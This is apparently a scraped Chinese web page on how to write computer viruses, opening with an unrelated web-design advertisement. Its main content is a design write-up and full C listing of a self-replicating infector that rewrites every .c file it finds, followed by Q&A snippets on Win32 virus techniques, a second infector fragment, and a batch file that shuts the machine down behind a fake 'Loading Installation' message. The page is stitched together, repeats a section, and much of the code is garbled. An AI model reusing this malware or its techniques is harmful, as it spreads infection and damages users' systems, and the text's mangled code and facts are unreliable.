c語(yǔ)言函數(shù)傳染文件 c語(yǔ)言中函數(shù)間數(shù)據(jù)傳遞方式有三種

怎樣編寫(xiě)病毒

3.1.1病毒程序VIRUS.C

創(chuàng)新互聯(lián)服務(wù)項(xiàng)目包括安康網(wǎng)站建設(shè)、安康網(wǎng)站制作、安康網(wǎng)頁(yè)制作以及安康網(wǎng)絡(luò)營(yíng)銷(xiāo)策劃等。多年來(lái),我們專(zhuān)注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢(shì)、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,安康網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到安康省份的部分城市,未來(lái)相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!

這是一個(gè)用C語(yǔ)言寫(xiě)的病毒程序,當(dāng)激發(fā)病毒程序時(shí)顯示時(shí)間,然后返回。病毒程序VIRUS.C可將病毒傳染給一個(gè)C語(yǔ)言程序。當(dāng)被病毒感染的程序經(jīng)編譯、連接和執(zhí)行后,又可以將病毒部分傳染給其他的C語(yǔ)言源程序。每執(zhí)行一次帶有病毒的C語(yǔ)言程序,就向C語(yǔ)言源程序傳播一次病毒。此程序的設(shè)計(jì)思路如下:

當(dāng)含有病毒部分的程序被執(zhí)行時(shí),首先進(jìn)入病毒程序。它在磁盤(pán)上找擴(kuò)展名為C的匹配文件,如果找到,查找是否有被傳染過(guò)的標(biāo)志“INFECTED”。如果有此標(biāo)志,繼續(xù)找其它的C文件,直至全部檢查一遍。若沒(méi)有這個(gè)標(biāo)志,則

(1)在未被感染的C程序頭部加入“INFECTED”已被傳染標(biāo)志。

(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發(fā)現(xiàn)有重復(fù)則不插入。

(3)在主程序中插入“VIRUSES();”調(diào)用VIRUSES函數(shù)。尋找printf、for、while、break語(yǔ)句,如果找到就在之前插入。

(4)在文件尾部插入VIRUSES_SUB子程序。

(5)在插入到將感染文件里面的VIRUSES_SUB子程序里面,必須把文件名改為當(dāng)前自身的文件名,否則被傳染后的文件經(jīng)過(guò)編譯、連接和運(yùn)行后不能再繼續(xù)傳染。

(6)最后插入VIRUSES子程序。這個(gè)子程序里面調(diào)用了VIRUSES_SUB,執(zhí)行到這里返回執(zhí)行結(jié)果信息。

其中用到4個(gè)出錯(cuò)的返回值,分別是:

1:用戶文件太大,不傳染;

2:帶病毒文件打不開(kāi),不傳染;

3:帶病毒文件讀取不成功,不傳染;

4:查找第一個(gè)匹配文件不成功。

如果返回值是0代表文件傳染成功。

具體實(shí)現(xiàn)過(guò)程如下:

其中用到的函數(shù)和結(jié)構(gòu)體用法參考3.3節(jié)。

首先導(dǎo)入病毒子程序要用到的三個(gè)庫(kù)文件,分別是dir.h, stido.h, dos.h.在主函數(shù)里面只調(diào)用VIRUSES函數(shù)。緊跟定義VIRUSES函數(shù)里面要調(diào)用的VIURS_SUB函數(shù)。里面定義了若干個(gè)變量。ffblk用來(lái)保存查找到的匹配文件的信息,用到里面的ff_name變量來(lái)保存匹配文件名。

然后定義保存未感染的文件和病毒文件的文件型指針變量,分別用是*virus_r和*virus_v.讀取文件的緩沖區(qū),放到二維數(shù)組a[500][80]里面臨時(shí)存放。因?yàn)榇顺绦驅(qū)Υ笥?00行的C文件不進(jìn)行傳染,所以完全可以放到里面。首先用getdate函數(shù)獲取系統(tǒng)當(dāng)前日期并輸出。接著用findfirst函數(shù)查找擴(kuò)展名為C的文件,將其信息保存到ffblk里面。用fgets函數(shù)讀文件的第一行,長(zhǎng)度是80-1個(gè)字符。然后用strstr函數(shù)檢測(cè)病毒的標(biāo)志,看文件是否有INFECT這個(gè)標(biāo)志。

如果有,表示文件已經(jīng)被傳染,關(guān)閉文件,不進(jìn)行傳染。當(dāng)含有病毒部分的程序被執(zhí)行時(shí),首先進(jìn)入病毒程序。它在磁盤(pán)上查找*.C的匹配文件,一旦找到,查找“已被傳染過(guò)”的標(biāo)志INFECTED。若有此標(biāo)志,繼續(xù)找其它*.C文件,直至全部檢查一遍。

如果沒(méi)有這個(gè)標(biāo)志,將文件全部讀入a[500][80],如果發(fā)現(xiàn)文件超過(guò)500行,不傳染,返回。將文件指針指向文件頭,打開(kāi)帶病毒的文件。如果打不開(kāi),返回。

然后讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫(xiě)入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變量控制行數(shù),把將被傳染文件的源程序?qū)懟卦募?。其中要進(jìn)行處理不寫(xiě)入病毒文件已有的包含語(yǔ)句,也就是說(shuō)使#Include語(yǔ)句不重復(fù)。

這點(diǎn)是這樣實(shí)現(xiàn)的:定義一個(gè)字符數(shù)組char include_h[]=; strstr函數(shù)查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,不進(jìn)行插入。找出CALL VIRUSES;的插入點(diǎn):如果有一行有printf、break、for、while語(yǔ)句其中之一,就對(duì)其后插入調(diào)用VIRUSES函數(shù)的調(diào)用語(yǔ)句。把病毒子程序?qū)懭胛募?。最后處理更改被感染的文件名。如果不進(jìn)行改名,就不能進(jìn)行多次傳染,也就是說(shuō)不能體現(xiàn)病毒的自我復(fù)制能力。查找一行是static char viruses_f[]=,把其中的文件名改為被感染的文件名。接著查找下一個(gè)匹配文件。

3.1.2病毒清除程序REVIURS.C

病毒的清除過(guò)程是和傳染過(guò)程相逆的。傳染的時(shí)候插入調(diào)用viruses函數(shù)的調(diào)用語(yǔ)句,在病毒清除文件里面就要?jiǎng)h除掉這個(gè)語(yǔ)句。然后還要?jiǎng)h除掉病毒子程序VIURSES_SUB和VIURSES。有一個(gè)問(wèn)題不能進(jìn)行還原。因?yàn)楫?dāng)時(shí)插入病毒子程序需要的頭文件時(shí)沒(méi)有記錄傳染前文件的頭文件信息,所以不能進(jìn)行還原。但是這一點(diǎn)不影響原文件。所以這點(diǎn)在病毒清除程序中沒(méi)有進(jìn)行處理。

由于演示的時(shí)候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一個(gè)目錄下進(jìn)行演示??紤]到VIRUS.C會(huì)把REVIURS.C傳染和REVIRUS.C會(huì)把VIRUS.C清除兩種情況。所以編寫(xiě)這兩個(gè)程序的時(shí)候必須加入一條條件語(yǔ)句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。

當(dāng)含有清除部分的程序被執(zhí)行時(shí)。它在磁盤(pán)上找擴(kuò)展名為C的匹配文件,如果找到,查找是否有被傳染過(guò)的標(biāo)志“INFECTED”。如果無(wú)此標(biāo)志,繼續(xù)找其它的C文件,直至全部檢查一遍。若有這個(gè)標(biāo)志,則

(1)查找磁盤(pán)文件,如果是有病毒的傳染標(biāo)志“INFECTED”則打開(kāi)文件。如果沒(méi)有則關(guān)閉文件并且尋找下一個(gè)TEST*.C。

(2)讀取文件,首先判斷是否為Viruses();如果不是則判斷是否為int Viruses_sub(),如果都不是,則把讀取部分放在二維數(shù)組a[500][80]中,如果只是為int Viruses_sub(),則讀取文件結(jié)束。

(3)關(guān)閉文件,然后刪除該文件。

(4)創(chuàng)建一個(gè)跟刪除文件相同名字的文件。然后打開(kāi)。

(5)把二維數(shù)組a[500][80]中的數(shù)據(jù)寫(xiě)入到新建的文件中。關(guān)閉文件,讀取下一個(gè)文件。

3.2 程序流程圖

3.2.1 病毒程序VIRUS.C流程圖

N

N

Y Y

無(wú)

Y

N

3.2.2 解毒程序REVIRUS.C流程圖

N

Y

無(wú)

Y

N

Y

N

3.3其中用到的函數(shù)和結(jié)構(gòu)體的說(shuō)明:

(1)結(jié)構(gòu)體struct ffblk (在dir.h中)類(lèi)型變量

變量ffblk用于打開(kāi)文件,獲取返回值。

Struct ffblk

{char ff_reserved[21];

char ff_attrib;

unsigned ff_ftime;

unsigned ff_fdate;

long ff_fize;

char ff_name[13];

};

程序中只用到ff_name來(lái)保存匹配文件名。

(2)結(jié)構(gòu)體struct date(在dos.h中)變量

struct date

{int da_year; /* Year-1980 */

char da_day; /* Day of the month */

char da_mon; /* Month (1=Jan) */

};

程序中用來(lái)獲取系統(tǒng)當(dāng)前日期。具體用法為:

void getdate (struct date *datep);

(3)查找匹配文件

findfirst()函數(shù)和findnext()函數(shù)

調(diào)用方式:整型數(shù)=findfirst(文件名,結(jié)構(gòu)變量名,屬性常數(shù)組合(如0×24));

功能:檢索由path和attr指定的文件,把結(jié)果返回到afer。

Findfirst返回關(guān)于第一個(gè)指定文件的信息。

Findnext繼續(xù)檢索。

返回值:0(檢索成功),-1(沒(méi)有找到指定的文件)

屬性常數(shù):

FA_NORMAL(0*00) 含意:Normal file, no attributes

FA_RDONLY (0*01) 含意:只讀

FA_HIDDEN(0*02) 含意:隱含文件

FA_SYSTEM(0*24) 含意:系統(tǒng)文件

需要用到的頭文件: dir.h

程序中的匹配文件屬于普通文件,所以屬性常數(shù)為0。

(4)讀文件

函數(shù)原形:char *fgets (char *a, int n, FILE *fp);

功能:

從fp指向的文件讀取一個(gè)長(zhǎng)度為(n-1)的字符串,最后加一個(gè)’ \0’,存入始地址為a的空間。

若在讀完n-1個(gè)字符之前遇到換行符或EOF,讀入即結(jié)束。

返回值:返回地址a。

若遇文件結(jié)束或出錯(cuò),返回NULL。

(5)在字符串中查找指定字符串的第一次出現(xiàn)

函數(shù)原形;

char *strstr(char *str1,char *str2);

功能:找出str2字符串在str1字符串中第一次出現(xiàn)的位置(不包括str2的串結(jié)束符)。

返回值:返回該位置的指針。

若找不到,返回NULL指針。

程序中用這個(gè)函數(shù)來(lái)判斷字符串是否一致。

(6)改變文件位置指針

函數(shù)原形:int fseek (FILE *fp, long offset, int base);

功能:將fp所指文件的位置指針移到以base所指出的位置為基準(zhǔn)、以offset為位移量的位置。

返回值:返回當(dāng)前位置。否則,返回-1。SEEK_SET為文件開(kāi)始。

由于讀取文件的時(shí)候文件指針要發(fā)生變化。而重新執(zhí)行一條命令的時(shí)候需要重新定位文件指針的位置,所以要用到fseek函數(shù)。程序中用這個(gè)函數(shù)定位到文件頭,對(duì)文件進(jìn)行重新讀取。

3.4 程序清單

3.4.1病毒程序VIRUS.C程序清單如下:

/*INFECTED*/

#include "stdio.h"

#include "dos.h"

#include "dir.h"

main()

{

viruses();

}

int viruses_sub()

{

struct ffblk ffblk;

int done,i,j,k,n_line;

FILE *virus_r,*virus_v;

/*virus_r指向?qū)⒈桓腥镜奈募?,virus_v指向已帶病毒的文件*/

char a[500][80],b[80],*p1,*p2; /*將被傳染的文件讀入a[500][80]臨時(shí)存放*/

static char viruses_f[]=;/*文件被傳染后,修改該值為自身文件名*/

int include_write;

int virus_call=0;

int virus_start=0;

char *main_flag[]=;

char *include_h[]=;

char *v_flag[]=;

struct date today;

/*VIRUSES DISPLAY*/

getdate(today); /*病毒顯示日期信息*/

printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);

/*AFFECT VIRUSES*/

done=findfirst("*.c",ffblk,0); /*查找第一個(gè)匹配文件*/

while(!done)

{

if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)

{

virus_r=fopen(ffblk.ff_name,"r+w");

if(virus_r!=NULL)

{

p1=fgets(a[0][0],80,virus_r);

if(strstr(p1,v_flag[0])==NULL)

{

n_line=0; /*把文件全部讀入a[500][80]*/

while(p1!=NULL)

{

n_line++;

p1=fgets(a[n_line][0],80,virus_r);

if(n_line=500)

{

fclose(virus_r);

return(1);

}

}

fseek(virus_r,0,SEEK_SET);

virus_v=fopen(viruses_f[0],"r"); /*打開(kāi)帶病毒的文件*/

if(virus_v==NULL)

{

fclose(virus_r);

return(2);

}

for(i=1;i5;i++) /*讀帶病毒文件前4行并寫(xiě)入將被傳染的文件*/

{

p2=fgets(b,80,virus_v);

if(p2==NULL)

{

fclose(virus_r);

fclose(virus_v);

return(3);

}

fputs(b,virus_r);

}

for(j=0;jn_line;j++) /*把將被傳染文件的原程序?qū)懟卦募?/

{

include_write=1; /*不寫(xiě)入病毒文件已有的包含語(yǔ)句*/

if(strstr(a[j][0],"#include")!=NULL)

for(i=0;i3;i++)

if(strstr(a[j][0],include_h[i])!=NULL)

include_write=-1;

if(virus_call==0) /*插入調(diào)用語(yǔ)句,并加上回車(chē)換行*/

for(i=0;i4;i++)

if(strstr(a[j][0],main_flag[i])!=NULL)

{

for(k=0;k80;k++)

b[k]=0;

strcpy(b[0],"viruses();");

b[10]=13;

b[11]=10;

fputs(b,virus_r);virus_call=1;

i=4;

}

if(include_write==1)fputs(a[j][0],virus_r);

}

p1=fgets(b,80,virus_v); /*把病毒子程序?qū)懭胛募?/

while(p1!=NULL)

{

if(virus_start==0) /*找病毒子程序的第一條語(yǔ)句*/

if(strstr(p1,"int viruses_sub()")!=NULL)

virus_start=1;

if(virus_start==1)

{

if(strstr(p1,"char")!=NULL)

if(strstr(p1,"viruses_f[]=")!=NULL)

{

strcpy(b[29],ffblk.ff_name);

i=strlen(b[0]);

b[i]=34;

strcpy(b[i+1],");");

b[i+3]=13;

b[i+4]=10;

}

fputs(b,virus_r);

}

p1=fgets(b,80,virus_v);

}

fclose(virus_v);

fclose(virus_r);

return(0);

}

fclose(virus_r);

}

}

done=findnext(ffblk);

}

return(4);

}

viruses()

{

int num;

num=viruses_sub();

switch (num)

{

case 0 : printf("successful\n");

break;

case 1: printf("the file is outof line\n");

break;

case 2 : printf("the viruses file cannot open\n");

break;

case 3 : printf("cannot read viruses file\n");

break;

case 4: printf("cannot find file\n");

}

getch();

}

3.4.2病毒清除程序REVIURS.C清單如下:

#include "stdio.h"

#include "dos.h"

#include "dir.h"

main()

{

struct ffblk ffblk;

int done,i,j,line,k;

static int n_line;

FILE *virus_r,*virus_v;

char a[500][80],b[80],*p;

char *v_flag[]=;

done=findfirst("*.c",ffblk,0);

while(!done)

{

if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)

{

for(k=0;k500;k++)

for(j=0;j80;j++)

a[k][j]=0;

virus_r=fopen(ffblk.ff_name,"r+w");

if(virus_r!=NULL)

{

p=fgets(b[0],80,virus_r);

if(strstr(p,v_flag[0])!=NULL)

{

line=0;

while(p!=NULL)

{

p=fgets(b[0],80,virus_r);

if(strstr(b[0],"int viruses_sub()")!=NULL)

break;

else if(strstr(b[0],"viruses();")==NULL)

{

k=strlen(b);

for(j=0;jk;j++)

a[line][j]=b[j];

a[line][j+1]=0;

line++;

}

}

n_line=line;

fclose(virus_r);

remove(ffblk.ff_name); /*刪除文件*/

virus_r=fopen(ffblk.ff_name,"w+"); /*打開(kāi)將被感染的文件*/

for(i=0;in_line;i++)

{

fputs(a[i][0],virus_r); /*把二維數(shù)組中的數(shù)據(jù)寫(xiě)入原文件*/

}

fclose(virus_r);

}

}

}

done=findnext(ffblk); /*查找下一個(gè)匹配文件*/

}

}

4. 計(jì)算機(jī)病毒的演示

4.1病毒程序VIRUS.C的演示過(guò)程

在一張已經(jīng)格式化的軟盤(pán)上,除了病毒源程序VIRUS.C和REVIRUS.C外,還有兩個(gè)尚未被感染的C語(yǔ)言程序TEST1.C和TEST2.C。原始代碼分別如下:

TEST1.C:

#include "stdio.h"

main()

{

int i,sum;

for(i=1;i100;i++)

sum=sum+i;

printf("sum=%d\n",sum);

}

TEST2.C

#include "stdio.h"

main()

{

printf("hello,world!\n");

}

在命令提示符下鍵入dir命令查看文件信息。

然后編譯連接并執(zhí)行VIRUS.C文件,運(yùn)行結(jié)果顯示:

Today is 5/20/2004

Successful

說(shuō)明傳染成功。再用dir命令查看文件信息

可以看到TEST2.C文件已經(jīng)被傳染,大小從64變成3949。用type命令查看TEST1的內(nèi)容

可以看到病毒的子程序已經(jīng)插入了,而且在主函數(shù)里面插入了調(diào)用VIRUSES函數(shù)語(yǔ)句。而且文件名自動(dòng)改為“TEST2.C”。(如圖中紅線所示)

然后再把TEST2.C文件編譯連接并運(yùn)行。成功后,再用dir命令查看文件信息

可以看到TEST1.C也被感染了,大小從107變成了3969。再用type命令查看,結(jié)果如下:

可以看到,文件名稱(chēng)已經(jīng)自動(dòng)改為T(mén)EST1.C,而且病毒子程序已經(jīng)拷貝過(guò)來(lái),在這個(gè)過(guò)程中REVIRUS.C始終沒(méi)有被感染,達(dá)到了我們的目的。

文件被感染前后內(nèi)容如下圖所示:

4.2病毒清除程序REVIRUS.C演示過(guò)程

然后我們來(lái)演示病毒的清除。編譯運(yùn)行REVIRUS.C后用dir命令查看文件信息。

圖中可以看到TEST1.C和TEST2.C都變小了。雖然沒(méi)有還原到以前的大小。這是因?yàn)檫\(yùn)行病毒子程序需要的頭文件沒(méi)有刪除,原因前面已經(jīng)提及過(guò)了。然后用type命令分別查看一下TEST1.C和TEST2.C的內(nèi)容。

圖中可以看到,除了程序需要用到的頭文件,剩下的已經(jīng)基本還原。而且沒(méi)有清除VIRUS.C里面的程序,基本達(dá)到了清除病毒的目的。演示成功。

從演示過(guò)程中可以看出,一旦程序被病毒感染,這個(gè)程序經(jīng)過(guò)編譯連接后運(yùn)行時(shí)就能向沒(méi)感染上病毒的程序擴(kuò)散病毒,使病毒在系統(tǒng)中不斷蔓延下去。而病毒清除程序運(yùn)行一次就可以刪除掉所有的病毒子程序和插入的調(diào)用語(yǔ)句。

C語(yǔ)言中 常用頭文件 及 頭文件包含的函數(shù)? 有哪些

“stdio.h”標(biāo)準(zhǔn)輸入輸出頭文件

“string.h”字符串頭文件

“math.h”數(shù)學(xué)庫(kù)函數(shù)頭文件

怎么編寫(xiě)病毒程序

問(wèn)題一:如何編寫(xiě)程序病毒? 那首先要對(duì)系統(tǒng)底層的東西比較熟悉,如果編網(wǎng)絡(luò)病毒,還要對(duì)網(wǎng)絡(luò)協(xié)議很了解。并且要精通至少一門(mén)編程語(yǔ)言,一般寫(xiě)病毒用a *** (匯編語(yǔ)言)的比較多,用其他也可以,比如vbs(vb腳本語(yǔ)言)或者.bat的海處理,都可以。如果寫(xiě)unix 類(lèi)系統(tǒng)的病毒用c語(yǔ)言的多一些。但匯編知識(shí)是寫(xiě)高級(jí)病毒必須的知識(shí)。

問(wèn)題二:如何寫(xiě)一個(gè)簡(jiǎn)單的病毒程序? 前些天學(xué)病毒這門(mén)技術(shù)著實(shí)吃了很多苦頭,走了很多彎路,盡管按我的知識(shí)水平,病毒已經(jīng)是水到渠成的學(xué)習(xí)內(nèi)容了。但是我現(xiàn)在學(xué)了入門(mén)才發(fā)現(xiàn)這門(mén)技術(shù)實(shí)際上隱藏著很多玄機(jī),包含著許多技術(shù),不專(zhuān)門(mén)學(xué)習(xí)研究根本無(wú)法達(dá)到“牛”的境界上去。如今寫(xiě)了這篇文章,介紹的都是相當(dāng)實(shí)用的東西,可以讓你少走許多彎路(有時(shí)侯一個(gè)錯(cuò)誤夠你找?guī)讉€(gè)小時(shí)的)。不過(guò)需要些基礎(chǔ)知識(shí)才能看懂。假如你有天知識(shí)儲(chǔ)備夠了,不學(xué)學(xué)病毒將是你的遺憾。另,由于是寫(xiě)給協(xié)會(huì)會(huì)員參考的,也沒(méi)寫(xiě)的多“專(zhuān)業(yè)”,多了些贅述。

在你看之前,你應(yīng)該知道這只是篇可以帶你入門(mén)的文章,如果你已經(jīng)會(huì)了就不用看了。看的時(shí)候最好準(zhǔn)備個(gè)PE表在旁邊。寫(xiě)病毒程序可以使用很多種語(yǔ)言來(lái)寫(xiě)比如C,匯編,甚至有人用Dephi這樣可視化編程工具都能寫(xiě)出來(lái)。但是最適合寫(xiě)病毒程序的還是匯編語(yǔ)言。匯編語(yǔ)言底層,靈活,速度快,體積小的優(yōu)勢(shì)能將一個(gè)病毒程序發(fā)揮到極至,通常一個(gè)程序?qū)懗鰜?lái)才幾千字節(jié)就包含了所有的功能。一般一個(gè)病毒都有如下幾個(gè)功能:

一 代碼重定位

二 自己找到所需API地址

三 搜索文件、目錄

四 感染文件

五 破壞系統(tǒng)或文件(隨便你了)

其中一,二項(xiàng)功能是必要的,五項(xiàng)功能是可選的。而一個(gè)病毒程序感染文件的功能是它的核心,是衡量它質(zhì)量的重要標(biāo)準(zhǔn)。

(一)代碼的重定位

一個(gè)變量或函數(shù)其實(shí)是一個(gè)內(nèi)存地址,在編譯好后,程序中的指令通過(guò)變量或函數(shù)的內(nèi)存地址再去存取他們,這個(gè)地址是個(gè)絕對(duì)地址。如果你將代碼插入到其他任何地方,再通過(guò)原來(lái)編譯時(shí)產(chǎn)生的地址去找他們就找不到了,因?yàn)樗麄円呀?jīng)搬家了。但是,你在寫(xiě)程序時(shí)考慮到這個(gè)問(wèn)題,你就可以在代碼最開(kāi)始,放上幾行代碼取得程序基地址,以后變量和函數(shù)作為偏移地址,顯式的加上這個(gè)基地址就能順利找到了,這就是重定位。就象這段代碼。

Call getbaseaddress

Getbaseaddress:pop ebx

Sub ebx,offset getbaseaddress

Mov eax,dword ptr [ebx+Var1]

如果你使用宏匯編語(yǔ)言寫(xiě)病毒,請(qǐng)盡量使用ebx做基地址指針,不要使用ebp,因?yàn)閑bp在調(diào)用帶參數(shù)的函數(shù)時(shí)會(huì)改變。

(二)自己取得所需的API地址

一個(gè)win32程序文件,所調(diào)用的API函數(shù)地址,是由系統(tǒng)填入到程序文件中描述各類(lèi)數(shù)據(jù)位置的數(shù)據(jù)結(jié)構(gòu)中的。而病毒作為一個(gè)殘廢是享受不到這個(gè)待遇的。因?yàn)槟阍诎巡《镜拇a插入目標(biāo)程序時(shí)沒(méi)有把這些描述數(shù)據(jù)存放位置的數(shù)據(jù)結(jié)構(gòu)信息也弄進(jìn)去。它 *** 入到其他目標(biāo)程序后就成了只有代碼的殘廢兒童:(所以作為一個(gè)殘廢兒童,應(yīng)當(dāng)自力更生。自己搜尋自己需要的API地址。目標(biāo)程序文件就包含了我們需要的東西,我們需要自己去找。目標(biāo)程序文件只要還是win32程序,它的地址空間中就包含的有Kernel32.dll。如果找到了它,我們就能找到其他任何的東東。第一步,搜尋kernel32.dll的基地址。當(dāng)然了,整個(gè)地址空間有4GB,可供搜索的用戶進(jìn)程空間也有2GB。在2GB中搜索,太嚇人了??偛荒茉趫?zhí)行被感染的目標(biāo)程序時(shí),先讓用戶喝杯茶吧?或者斗斗地主?這里有兩個(gè)技巧向大家介紹。

在程序被加載后,加載程序會(huì)調(diào)用程序的主線程的第一條指令的位置。它使用的指令是CALL,就是說(shuō),你程序還沒(méi)執(zhí)行,堆棧區(qū)里就有了一個(gè)返回地址了,這個(gè)返回地址指向的是加載程序,而加載程序是包含在KERNEL32.dll中的,我們順著它向上找,就能找到kernel32.dll的基地址了。當(dāng)然也不是一個(gè)字節(jié)一個(gè)字節(jié)的挨者找,而是一個(gè)頁(yè)面一個(gè)頁(yè)面地找。因?yàn)閣in3......

問(wèn)題三:怎么用C語(yǔ)言寫(xiě)個(gè)簡(jiǎn)單病毒,給個(gè)代碼過(guò)程 首先聲明:

本程序是我舉的一個(gè)例子

為了叫大家理解就可以了

如果大家拿去捉弄人,我不負(fù)任何責(zé)任!

希望大家要以學(xué)習(xí)為重!

對(duì)于病毒我們應(yīng)該是深?lèi)和唇^的,但是作為純研究許多人還是很有興趣的

我曾經(jīng)用匯編做過(guò)一些具有毀滅性的病毒,本想獻(xiàn)出來(lái)與大家分享

不過(guò)考慮到一些小人看了會(huì)做出來(lái)一些危害別人的行為,所以我決定

用這個(gè)簡(jiǎn)單的并毫無(wú)傷害性的c語(yǔ)言偽病毒來(lái)說(shuō)明一下問(wèn)題,

再次聲明這一切全是為了編程研究?。?!

病毒的特點(diǎn):

病毒的最大特點(diǎn)就是自我復(fù)制,從病毒的分類(lèi)來(lái)說(shuō)有很多種,這里我們將介紹最流行的附加式

病毒,它通過(guò)對(duì)正常的文件進(jìn)行改寫(xiě),增加來(lái)實(shí)現(xiàn)其自我復(fù)制的目的。

從程序的角度來(lái)說(shuō),我們要做的事情有兩件:

1,讓程序能夠?qū)⒆约涸诓挥绊懫渌绦虮旧砉ぷ鞯那闆r下復(fù)制給其它程序,

使它具備繼續(xù)復(fù)制的能力。

2,在一定條件下使其產(chǎn)生某種發(fā)作效果。

其實(shí)第一件事情實(shí)際上可以看成對(duì)文件進(jìn)行復(fù)制,把病毒源文件的功能函數(shù)全部放到被感染

文件的最后,同時(shí)在被感染文件中調(diào)用這個(gè)函數(shù)

下面給出c語(yǔ)言的實(shí)現(xiàn)過(guò)程:

1,主程序調(diào)用病毒功能函數(shù)

2,病毒功能函數(shù)讀取查找同目錄下所有c文件;

3,找到一個(gè)(被感染c文件),打開(kāi)它,并且將此文件全部讀取到數(shù)組變量;

4,重新創(chuàng)建一個(gè)同名文件(被感染c文件)

5,數(shù)組變量寫(xiě)回這個(gè)被感染c文件,同時(shí)將病毒源文件所需要的頭文件,病毒功能函數(shù)

調(diào)用語(yǔ)句寫(xiě)入;

6,打開(kāi)病毒源文件,將病毒功能函數(shù)全部寫(xiě)到被感染c文件的最后;

這樣一個(gè)簡(jiǎn)單的c語(yǔ)言偽病毒virus.c就完成了

運(yùn)行程序后其內(nèi)容變化另保存為after_virus.c

此時(shí),如果我們將1.c文件用A盤(pán)復(fù)制到其他機(jī)器或者Email給別人,結(jié)果

他們一運(yùn)行又感染了他們保存1.c文件目錄下所有c文件

對(duì)于第二件事情-------“發(fā)作效果”,這里只用printf語(yǔ)句警告了一下,當(dāng)然你

完全可以寫(xiě)一個(gè)TSR駐留函數(shù)

其實(shí),這個(gè)程序勉強(qiáng)可以叫做病毒

根本不算是真正的病毒,好了就說(shuō)這么多,

代碼如下:

#include

#include

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus=virus.c;

char buf[50][80];

char *p;

char *end=return;

char *bracket=};

char *main=main;

char *include[2]={stdio.h,dir.h};

char *int_virus=int virus();

char *buffer;

int done,i,j=0,flag=0;

printf(\nI have a virus. Writen by PuBin\n);

done = findfirst(*.c,ffblk,0);

while (!done)

{

i=0;

if ((in = fope......

問(wèn)題四:病毒一般用什么語(yǔ)言編寫(xiě)的? 由于現(xiàn)在大多數(shù)的所謂的黑客都沒(méi)有真正的技術(shù),他們的木馬都是利用別人編寫(xiě)的木馬生成程序生成的,只要一點(diǎn)就好了!~~現(xiàn)在流行的木馬有VB、E語(yǔ)言、pascal(注意Delphy不是一門(mén)語(yǔ)言,而是pascal語(yǔ)言的編輯器,就像C++跟VC++之間的關(guān)系)等,大量用他們編寫(xiě)的原因并不是他們有多好,只不過(guò)是他們簡(jiǎn)單易學(xué)!所以只要你有技術(shù),用什么程序?qū)懖恢匾瑮l條大路通羅馬!

問(wèn)題五:怎樣編寫(xiě)簡(jiǎn)單,對(duì)系統(tǒng)無(wú)害的病毒文件? 雙擊這個(gè)文件后就會(huì)關(guān)機(jī),無(wú)毒無(wú)害。

這是代碼:

@echo off

cd/

shutdown -s -t 0 -c Loading Installation,Please Wait...

那個(gè)0是打開(kāi)這個(gè)文件后多少秒關(guān)機(jī)(0就是立即關(guān)機(jī),10就是打開(kāi)文件10秒后關(guān)機(jī)), 引號(hào)中的字(Loading Installation,Please Wait...)可以隨意更改(只是引號(hào)里面的,別把引號(hào)給刪了)。

問(wèn)題六:怎樣編寫(xiě)病毒 3.1.1病毒程序VIRUS.C

這是一個(gè)用C語(yǔ)言寫(xiě)的病毒程序,當(dāng)激發(fā)病毒程序時(shí)顯示時(shí)間,然后返回。病毒程序VIRUS.C可將病毒傳染給一個(gè)C語(yǔ)言程序。當(dāng)被病毒感染的程序經(jīng)編譯、連接和執(zhí)行后,又可以將病毒部分傳染給其他的C語(yǔ)言源程序。每執(zhí)行一次帶有病毒的C語(yǔ)言程序,就向C語(yǔ)言源程序傳播一次病毒。此程序的設(shè)計(jì)思路如下:

當(dāng)含有病毒部分的程序被執(zhí)行時(shí),首先進(jìn)入病毒程序。它在磁盤(pán)上找擴(kuò)展名為C的匹配文件,如果找到,查找是否有被傳染過(guò)的標(biāo)志“INFECTED”。如果有此標(biāo)志,繼續(xù)找其它的C文件,直至全部檢查一遍。若沒(méi)有這個(gè)標(biāo)志,則

(1)在未被感染的C程序頭部加入“INFECTED”已被傳染標(biāo)志。

(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發(fā)現(xiàn)有重復(fù)則不插入。

(3)在主程序中插入“VIRUSES();”調(diào)用VIRUSES函數(shù)。尋找printf、for、while、break語(yǔ)句,如果找到就在之前插入。

(4)在文件尾部插入VIRUSES_SUB子程序。

(5)在插入到將感染文件里面的VIRUSES_SUB子程序里面,必須把文件名改為當(dāng)前自身的文件名,否則被傳染后的文件經(jīng)過(guò)編譯、連接和運(yùn)行后不能再繼續(xù)傳染。

(6)最后插入VIRUSES子程序。這個(gè)子程序里面調(diào)用了VIRUSES_SUB,執(zhí)行到這里返回執(zhí)行結(jié)果信息。

其中用到4個(gè)出錯(cuò)的返回值,分別是:

1:用戶文件太大,不傳染;

2:帶病毒文件打不開(kāi),不傳染;

3:帶病毒文件讀取不成功,不傳染;

4:查找第一個(gè)匹配文件不成功。

如果返回值是0代表文件傳染成功。

具體實(shí)現(xiàn)過(guò)程如下:

其中用到的函數(shù)和結(jié)構(gòu)體用法參考3.3節(jié)。

